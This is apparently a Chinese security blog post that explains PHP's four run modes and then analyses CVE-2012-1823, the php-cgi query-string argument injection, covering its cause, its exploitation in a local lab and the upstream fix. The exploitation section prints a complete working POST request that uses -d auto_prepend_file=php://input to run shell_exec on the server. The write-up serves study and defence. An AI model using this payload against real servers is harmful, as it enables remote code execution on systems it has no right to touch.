1. PHP的四种运行模式(你需要知道的)
(1)CGI
全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。
CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。
(2)FastCGI
CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。
PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。
(3)Cli
PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。
在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样
(4)Module加载
这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。
2. 进入正题
(1)漏洞影响范围
漏洞影响版本 php < 5.3.12 or php < 5.4.2
CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中。
(2)漏洞成因
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。
RFC3875中规定,当querystring中不包含没有解码的=
号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path
的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。
于是,源程序中的if(!cgi) getopt(...)
被删掉了。
根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path
的方式传入php-cgi,更可以通过querystring的方式传入。
(3)漏洞利用
cgi模式下有如下可控命令行参数可用:
-c
指定php.ini文件(PHP的配置文件)的位置-n
不要加载php.ini文件-d
指定配置项-b
启动fastcgi进程-s
显示文件源码-T
执行指定次该文件-h
和-?
显示帮助
那么最简单的利用方式就是-s
可以直接显示源码(这里是自己搭建的环境):
一个更好的利用方法是通过使用-d
指定auto_prepend_file
来制造任意文件包含漏洞,执行任意代码:
其原理是:利用可控命令行参数 -d
将allow_url_include
得值设为 on
并使用 auto_prepend_file
函数在页面顶部加载文件,而构造加载的文件为 php://input
读取的原始POST数据(也就是传输的数据 <?php echo shell_exec("ls");?>
的执行结果),并传递到回应包里。(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)构造请求头如下:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 30
<?php echo shell_exec("ls");?>
在burp中构造执行的结果如下:
(4)漏洞修复
修复原理是:获取querystring后进行解码,先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-
。如果第一个字符是-
则设置skip_getopt,也就是不要获取命令行参数。修复源码如下
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
3. 总结
代码执行漏洞在如今的各大平台上都是常客,其影响不容小觑,而对于本文分析的漏洞,虽然已经谈不上什么危害性了,但是仍可以作为一个典型的案例供安全人员研究,作为一名小白,以上只是个人观点,仅供参考。
望各位大佬多多指教,Thank You !